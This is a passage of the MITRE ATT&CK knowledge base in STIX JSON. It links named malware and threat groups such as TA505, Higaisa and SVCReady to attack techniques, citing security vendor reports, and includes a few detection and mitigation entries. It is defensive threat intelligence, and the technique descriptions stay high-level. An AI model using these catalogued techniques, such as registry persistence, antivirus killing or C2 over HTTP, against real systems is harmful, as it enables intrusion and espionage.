April 17, 2019.","url":"https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/","source_name":"CheckPoint SpeakUp Feb 2019"}],"modified":"2020-03-17T02:38:37.713Z","description":"[SpeakUp](https://attack.mitre.org/software/S0374) uses POST and GET requests over HTTP to communicate with its main C&C server. (Citation: CheckPoint SpeakUp Feb 2019)","relationship_type":"uses","source_ref":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71daf1fe-a979-4cbc-bb0d-4e2d6c79274a","type":"relationship","created":"2017-05-31T21:33:27.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"},{"url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.","source_name":"Nccgroup Emissary Panda May 2018"},{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"}],"modified":"2021-10-12T19:21:39.023Z","description":"(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Unit42 Emissary Panda May 2019)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71db51a2-9968-408c-91b3-8f42a61d0b09","type":"relationship","created":"2021-03-05T18:54:56.555Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."},{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.555Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) used HTTP and HTTPS to send data back to its C2 server.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71db7381-ad59-4eb0-80b4-505c38eea9d2","created":"2024-07-23T18:22:28.494Z","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-23T18:22:28.494Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) will execute a legitimate process, then suspend it to inject code for a [Tor](https://attack.mitre.org/software/S0183) client into the process, followed by resumption of the process to enable [Tor](https://attack.mitre.org/software/S0183) client execution.(Citation: TrendMicro RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71de7fd6-177c-4964-9f2b-eec22937fded","type":"relationship","created":"2021-12-06T16:30:49.190Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T20:45:13.815Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has deleted many of its files used during operations as part of cleanup, including removing applications and deleting screenshots.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71e7aad7-c81e-4035-bec0-323b7dc51d57","created":"2023-02-10T18:50:58.308Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T21:46:54.054Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) has created the `HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{E6D34FFC-AD32-4d6a-934C-D387FA873A19}` Registry key for persistence.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71ec5140-320c-452c-8512-6a787af027c8","created":"2019-04-17T13:46:38.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cofense Astaroth Sept 2018","description":"Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/"},{"source_name":"Securelist Brazilian Banking Malware July 2020","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:03:49.413Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) uses JavaScript to perform its core functionalities. (Citation: Cofense Astaroth Sept 2018)(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71ede2de-7e5f-49fa-ac07-9322ef4857ae","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2020-03-16T16:56:45.651Z","description":"[HTTPBrowser](https://attack.mitre.org/software/S0070) has used DLL side-loading.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71ee0311-3fdc-4baf-8c3e-2143416b742c","type":"relationship","created":"2020-03-17T15:01:32.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter","source_name":"Proofpoint TA505 Sep 2017"},{"description":"Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times","source_name":"Proofpoint TA505 June 2018"},{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."},{"description":"Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.","url":"https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware","source_name":"Cybereason TA505 April 2019"},{"description":"Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat","source_name":"ProofPoint SettingContent-ms July 2018"},{"description":"Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware","source_name":"Proofpoint TA505 Mar 2018"},{"source_name":"Trend Micro TA505 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."},{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-05-29T20:09:49.528Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used lures to get users to click links in emails and attachments. For example, [TA505](https://attack.mitre.org/groups/G0092) makes their malware look like legitimate Microsoft Word documents, .pdf and/or .lnk files. (Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)(Citation: Cybereason TA505 April 2019)(Citation: ProofPoint SettingContent-ms July 2018)(Citation: Proofpoint TA505 Mar 2018)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71ee5336-929a-41c7-bfbd-42a7208ca29d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-17T00:00:03.506Z","description":"[4H RAT](https://attack.mitre.org/software/S0065) has the capability to obtain a listing of running processes (including loaded modules).(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71f24c43-eec3-4800-8543-7cc9259825a3","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).","source_ref":"x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71f51186-1805-4108-bde1-5f999de8603d","created":"2024-10-16T17:44:05.523Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T17:44:05.523Z","description":"Where possible, consider restricting the use of authentication material outside of expected contexts.","relationship_type":"mitigates","source_ref":"course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71f80d4d-daf5-4da2-811b-0ebd3365b79c","created":"2022-10-06T21:30:32.623Z","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T21:30:32.623Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used the `query user` and `whoami` commands as part of their advanced reconnaissance.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71fcb2f2-85d0-4d59-8d6e-8b5a1ccb7d29","created":"2022-08-16T19:43:00.472Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCSC GCHQ Small Sieve Jan 2022","description":"NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022.","url":"https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T15:50:34.472Z","description":"[Small Sieve](https://attack.mitre.org/software/S1035) can use variations of Microsoft and Outlook spellings, such as \"Microsift\", in its file names to avoid detection.(Citation: NCSC GCHQ Small Sieve Jan 2022)","relationship_type":"uses","source_ref":"malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71fd7b73-462f-4629-8d95-59d0129b1503","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T00:52:18.916Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of available servers with the command net view.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7201204c-d21f-4560-a3d1-c75fabacb4c4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"}],"modified":"2019-05-14T17:10:21.945Z","description":"[CHOPSTICK](https://attack.mitre.org/software/S0023) has the capability to capture screenshots.(Citation: DOJ GRU Indictment Jul 2018)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7203bf5f-4a67-48d9-92ac-f7b77795e1f0","created":"2023-09-28T21:08:47.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary Netwire Linux 2022","description":"TONY LAMBERT. (2022, June 7). Trapping the Netwire RAT on Linux. Retrieved September 28, 2023.","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T18:55:27.605Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can use an XDG Autostart to establish persistence.(Citation: Red Canary Netwire Linux 2022)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7209b3d7-b8c8-4fc0-89fb-a5448f015540","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"}],"modified":"2019-04-25T02:33:53.487Z","description":"[HDoor](https://attack.mitre.org/software/S0061) kills anti-virus found on the victim.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--720be590-5ea0-43b6-8360-fa75dd4d1a67","type":"relationship","created":"2017-05-31T21:33:27.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Poseidon Group","description":"Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.","url":"https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"}],"modified":"2020-03-18T15:34:54.808Z","description":"After compromising a victim, [Poseidon Group](https://attack.mitre.org/groups/G0033) discovers all running services.(Citation: Kaspersky Poseidon Group)","relationship_type":"uses","source_ref":"intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--720c211e-2219-496d-8a34-c3f37dfbe5bf","type":"relationship","created":"2017-05-31T21:33:27.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 3"}],"modified":"2019-09-09T17:44:35.686Z","description":"(Citation: ESET Sednit Part 3)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--720ca7ba-f9c7-48fd-92c3-e65e187fcce4","created":"2023-08-19T01:58:31.645Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T19:48:59.637Z","description":"Review and monitor email and other user communication logs for signs of impersonation, such as suspicious emails (e.g., from known malicious or compromised accounts) or content associated with an adversary's actions on objective (e.g., abnormal monetary transactions).","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--720cc0d6-9285-425b-bda2-3bdd59b4ea8f","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US-CERT Volgmer 2 Nov 2017","description":"US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"},{"source_name":"US-CERT Volgmer Nov 2017","description":"US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA – North Korean Trojan: Volgmer. Retrieved December 7, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-318B"},{"source_name":"Symantec Volgmer Aug 2014","description":"Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.","url":"https://web.archive.org/web/20181126143456/https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:40:35.185Z","description":"[Volgmer](https://attack.mitre.org/software/S0180) can download remote files and additional payloads to the victim's machine.(Citation: US-CERT Volgmer Nov 2017)(Citation: US-CERT Volgmer 2 Nov 2017)(Citation: Symantec Volgmer Aug 2014)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--721320d4-36f0-4449-8331-8fbe40b1dba5","created":"2022-09-01T14:24:32.270Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[DanBot](https://attack.mitre.org/software/S1014) has been distributed within a malicious Excel attachment via spearphishing emails.(Citation: SecureWorks August 2019) ","modified":"2022-09-01T14:24:32.270Z","relationship_type":"uses","source_ref":"malware--b8d48deb-450c-44f6-a934-ac8765aa89cb","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--721b7c0a-4774-4b09-882f-be7ba1cab7a5","type":"relationship","created":"2020-05-22T20:27:31.527Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.","url":"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets","source_name":"Symantec Chafer Dec 2015"}],"modified":"2020-05-22T20:27:31.527Z","description":"[Cadelspy](https://attack.mitre.org/software/S0454) has the ability to record audio from the compromised host.(Citation: Symantec Chafer Dec 2015)","relationship_type":"uses","source_ref":"malware--a705b085-1eae-455e-8f4d-842483d814eb","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7226ed2f-506e-4608-913f-953aca532413","created":"2022-02-02T13:03:25.622Z","x_mitre_version":"1.0","external_references":[{"source_name":"McAfee Lazarus Nov 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Torisma](https://attack.mitre.org/software/S0678) has been packed with Iz4 